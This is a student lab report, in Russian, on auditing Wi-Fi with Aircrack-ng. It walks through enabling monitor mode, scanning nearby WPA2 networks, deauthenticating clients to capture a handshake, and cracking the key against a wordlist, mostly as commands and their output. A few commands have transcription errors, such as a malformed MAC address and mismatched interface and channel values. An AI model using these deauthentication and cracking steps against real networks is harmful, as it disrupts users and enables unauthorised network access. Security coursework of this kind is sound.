Набор инструментов для аудита беспроводных сетей AirCrack

Рикардо санчес

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Ход работы

2.1 Изучение

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP

1. Airodump-ng - программа предназначенная для захвата сырых пакетов протокола 802.11 и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последующим их использованием в aircrack-ng. Если к вашему компьютеру подсоединен GPS навигатор то airodump-ng способен отмечать координаты точек на картах
2. Aireplay-ng - Основная функция программы заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей.
3. Aircrack-ng - Взламывает ключи WEP и WPA (Перебор по словарю).

Запустить режим мониторинга на беспроводном интерфейсе

```
root@debian:~# airmon-ng start wlan0

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
4197 NetworkManager
4218 wpa_supplicant
4219 dhclient
4287 dhclient

Process with PID 4287 (dhclient) is running on interface wlan0
```

```
Interface  Chipset        Driver

wlan0 Atheros  ath9k     - [phy0]
(monitor mode enabled on mon0

root@debian:~# kill 4197
root@debian:~# kill 4218
root@debian:~# kill 4219
root@debian:~# kill 4287
bash: kill:  ( 4287)   -no such procces
```

Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

При указании ключа –write, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: csv и xml. Еще два фала содержать информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, в то время как csv содержит лишь сокращенную информацию. Стоит отметить, что csv - это формат хранения простой таблицы.

2.2 Практическое задание

Запустить режим мониторинга на беспроводном интерфейсе

```
root@debian:~# airodump-ng mon0

 CH 11  ] [ Elapsed: 8 s   ] [ 2015-06-17  20:17

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC

 2B:16:2E:40:A9:61  -35        1        0    0  11  54e  WPA2 CCMP   PSK  home
 D4:21:22:17:25:08  -42        2        0    0   7  54e  WPA2 CCMP   PSK  Sidor
 C0:C1:C0:D2:D2:20  -45        5        0    0   1  54e  WPA2 CCMP   PSK  <length:   6>
 00:26:5A:A0:84:84  -53       17        0    0   6  54e. WPA2 CCMP   PSK  leabe
 10:9A:DD:86:FE:16  -55        1        0    0   9  54e  WPA2 CCMP   PSK nanas

 BSSID                STATION              PRW   RATE  Lost    Frames  Probe

 2B:16:2E:40:A9:61    08:87:23:90:12:14   -68    2-24     0        79
 C0:C1:C0:D2:D2:20    C4:85:08:D5:6F:07    -27   0 -6e    0         3
 18:62:2C:E0:D8:83    A0:6C:EC:5C:18:83   -61   6-2e     125      252
```

Запустить сбор трафика для получения аутентификационных сообщений

```
root@debian:~# airodump-ng mon2 --write airdump --bssid  C0:C1:C0:D2:D2:20  -c 4


 CH  4 ][ BAT: 1 hour 12 mins ][ Elapsed: 12 s ][ 2015-06-17 20:51 ][ fixed channel mon0:
```

```
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

  C0:C1:C0:D2:D2:20  -45        5        0    0   1  54e  WPA2 CCMP   PSK  <length:   6>

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

2B:16:2E:40:A9:61    08:87:23:90:12:14   -68    2-24     0        79
C0:C1:C0:D2:D2:20    C4:85:08:D5:6F:07    -27   0 -6e    0         3
18:62:2C:E0:D8:83    A0:6C:EC:5C:18:83   -61   6-2e     125      252
```

Произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутенти-фикационных сообщений

```
root@debian:~# aireplay-ng --ignore-negative-one --deauth 150
-a C0:C1:C0:D2:D2:20 -h 18:62:2C:E0:D8:83:5C mon0
The interface MAC ( C4:85:08:D5:6F:07) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether  18:62:2C:E0:D8:83
22:10:51  Waiting for beacon frame (BSSID: C0:C1:C0:D2:D2:20) on channel -1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
22:10:51  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:52  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:53  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:54  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:56  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:57  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:58  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
22:10:59  Sending DeAuth to broadcast -- BSSID: [C0:C1:C0:D2:D2:20]
```

В результате перехватываем пакет handshake:

```
root@debian:~# airodump-ng mon0 --bssid C0:C1:C0:D2:D2:20 -c 6
--write dump --ignore-negative-one
 CH  6 ][ Elapsed: 1 min ][ 2015-06-17 22:35 ][ WPA handshake: C0:C1:C0:D2:D2:2

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

 C0:C1:C0:D2:D2:20  -45        5        0    0   1  54e  WPA2 CCMP   PSK  <length:   6>

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

C0:C1:C0:D2:D2:20    C4:85:08:D5:6F:07    -27   0 -6e    0         3
```

Произвести взлом используя словарь паролей

Так как используемый пароль слишком сложный, в некоторую часть словаря был вставлен искомый пароль.

```
root@debian:~# aircrack-ng dump-05.cap -w English.dic
Opening dump-05.cap

   #  BSSID              ESSID                     Encryption

   1  C0:C1:C0:D2:D2:20  -45                      WPA (1 handshake)


                                Aircrack-ng 1.1

                      [01:01:31] 26024 keys tested (824.57 k/s)

                           Current passphrase: [ aumildar ]

      Master Key     : A2 93 AB 4B CC FB 32 5F CA BD A0 20 5F 10 00 B1
                       E0 13 C5 50 73 7F 3D 09 5E B2 1E 1C 22 B7 2B 15

      Transient Key  : 5B A5 01 18 6C E6 F1 80 32 59 3C 9C 76 FC 32 61
                       88 09 FF 8D F6 50 78 39 4E 71 17 0C CE 8E 74 25
                       0A BE 5C D3 CB BB 34 5B E7 7D 01 A9 FE 9A B0 FE
                       D0 26 11 5D AD 97 63 E7 4D 4E E1 36 9A F2 B2 07

      EAPOL HMAC     : 28 11 B1 64 6E  9D 99 45 B9 92 A3 44 F8 B2 86 60
```

3 Выводы

В ходе данной работы были изучены основные возможности пакеты Air Crack и принципы взлома WPA/WPA2 PSK.